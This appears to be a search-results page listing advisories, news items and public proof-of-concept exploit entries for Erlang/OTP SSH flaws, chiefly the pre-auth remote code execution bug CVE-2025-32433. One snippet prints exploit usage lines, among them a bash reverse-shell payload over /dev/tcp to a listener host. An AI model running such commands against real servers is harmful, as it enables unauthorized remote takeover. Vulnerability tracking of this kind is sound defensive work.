29 matches found
CVE-2025-3243
CVE-2025-32433 Erlang SSH 라이브러리 익스플로잇 CVE-2025-32433 에 대한 개념 증명PoC 익스플로잇으로, Erlang SSH 라이브러리의 치명적인 취약점을 이용해 잘못된 형식의 SSHMSGCHANNELREQUEST 패킷을 통해 인증 전pre-authentication 코드 실행을 허용합니다. 기능 원본 익스플로잇 - Matthew Keeley 업데이트 버전 - Tyler Ramsbey: LHOST , LPORT , RHOST , RPORT 용 명령줄 인자 argparse를 통한 내장 도움말 및...
CVE-2025-32433
CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...
Exploit for Missing Authentication for Critical Function in Erlang Erlang\/Otp
CVE-2025-32433: Erlang/OTP SSH Daemon Pre-Auth Remote Code Exe...
SUSE CVE-2026-53422
Observable Response Discrepancy vulnerability in Erlang OTP ssh sshsftpd module allows an authenticated SFTP user to enumerate the existence of files and directories outside the configured root directory. The SSHFXPREALPATH handler in sshsftpd calls relatefilename/3 with Canonicalize=false, unlik...
EUVD-2026-36056
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Erlang OTP ssh sshsftpd module allows File Discovery. The SSHFXPREADLINK handler in sshsftpd sends the raw result of file:readlink/2 to the client without calling chrootfilename/2 to strip the backend root prefix. An...
CVE-2026-48859 SSH server timing side-channel in ssh_auth:check_password/3 allows unauthenticated username enumeration
Observable Timing Discrepancy vulnerability in Erlang/OTP ssh sshauth, sshoptions modules allows unauthenticated remote username enumeration via timing side-channel in password authentication. When the SSH daemon is configured with the userpasswords or password option, sshauth:checkpassword/3...
EUVD-2026-36054
Observable Timing Discrepancy vulnerability in Erlang/OTP ssh sshauth, sshoptions modules allows unauthenticated remote username enumeration via timing side-channel in password authentication. When the SSH daemon is configured with the userpasswords or password option, sshauth:checkpassword/3...
Exploit for Missing Authentication for Critical Function in Erlang Erlang\/Otp
CVE-2025-32433 Exploit Windows Compatible Erlang/OTP SSH Un...
Exploit for Missing Authentication for Critical Function in Erlang Erlang\/Otp
CVE-2025-32433 분석 포트폴리오 Erlang/OTP SSH 사전인증 원격 코드 실행 취약점 분석...
SUSE CVE-2026-23943
Improper Handling of Highly Compressed Data Compression Bomb vulnerability in Erlang OTP ssh sshtransport modules allows Denial of Service via Resource Depletion. The SSH transport layer advertises legacy zlib compression by default and inflates attacker-controlled payloads pre-authentication...
Exploit for Missing Authentication for Critical Function in Erlang Erlang\/Otp
Erlang/OTP SSH Unauthenticated Blind RCE CVE-2025-32433 PoC...
CVE-2025-48041 SSH_FXP_OPENDIR may Lead to Exhaustion of File Handles
Allocation of Resources Without Limits or Throttling vulnerability in Erlang OTP ssh sshsftp modules allows Excessive Allocation, Flooding. This vulnerability is associated with program files lib/ssh/src/sshsftpd.erl. This issue affects OTP from OTP 17.0 before OTP 28.0.3, OTP 27.3.4.3 and...
CVE-2025-48041
CVE-2025-48041 is an Erlang/OTP issue in the SSH sftp path (ssh_sftpd.erl) causing Allocation of Resources Without Limits or Throttling. Affected are OTP forms up to 28.0.3 (and related SSH from 3.0.1 to 5.3.3, 5.2.11.3, 5.1.4.12). The vulnerability enables excessive resource allocation and relat...
CVE-2025-48040
CVE-2025-48040 describes an uncontrolled resource consumption in Erlang OTP ssh (ssh_sftp) due to excessive data handling. Affected ranges include OTP 17.0–28.0.3, OTP 27.3.4.3 and 26.2.5.15 (ssh from 3.0.1–5.3.3, 5.2.11.3, 5.1.4.12). Exploitation details are not provided in the available documen...
USN-7656-1 erlang vulnerabilities
It was discovered that Erlang OTP’s SSH module incorrectly enforced strict KEX handshake hardening measures. A remote attacker able to intercept communications could possibly use this issue to insert optional messages into connections during the handshake. CVE-2025-46712 It was discovered that...
CISA Adds Erlang SSH and Roundcube Flaws to Known Exploited Vulnerabilities Catalog
The U.S. Cybersecurity and Infrastructure Security Agency CISA on Monday added two critical security flaws impacting Erlang/Open Telecom Platform OTP SSH and Roundcube to its Known Exploited Vulnerabilities KEV catalog, based on evidence of active exploitation. The vulnerabilities in question are...
CISA Adds Erlang SSH and Roundcube Flaws to Known Exploited Vulnerabilities Catalog
The U.S. Cybersecurity and Infrastructure Security Agency CISA on Monday added two critical security flaws impacting Erlang/Open Telecom Platform OTP SSH and Roundcube to its Known Exploited Vulnerabilities KEV catalog, based on evidence of active exploitation. The vulnerabilities in question are...
Exploit for Missing Authentication for Critical Function in Erlang Erlang\/Otp
CVE-2025-32433 Erlang SSH Library Exploit 🛑 Description: E...
Metasploit Wrap-Up 05/09/2025
New Toys and New Techniques This release features a new OPNSense login scanner, a module targeting the Sante PACS path traversal vulnerability, an additional method for stealing Network Access Account credentials via SMB to HTTP relay, and the Erlang/OTP SSH exploit everyone was excited about. Ne...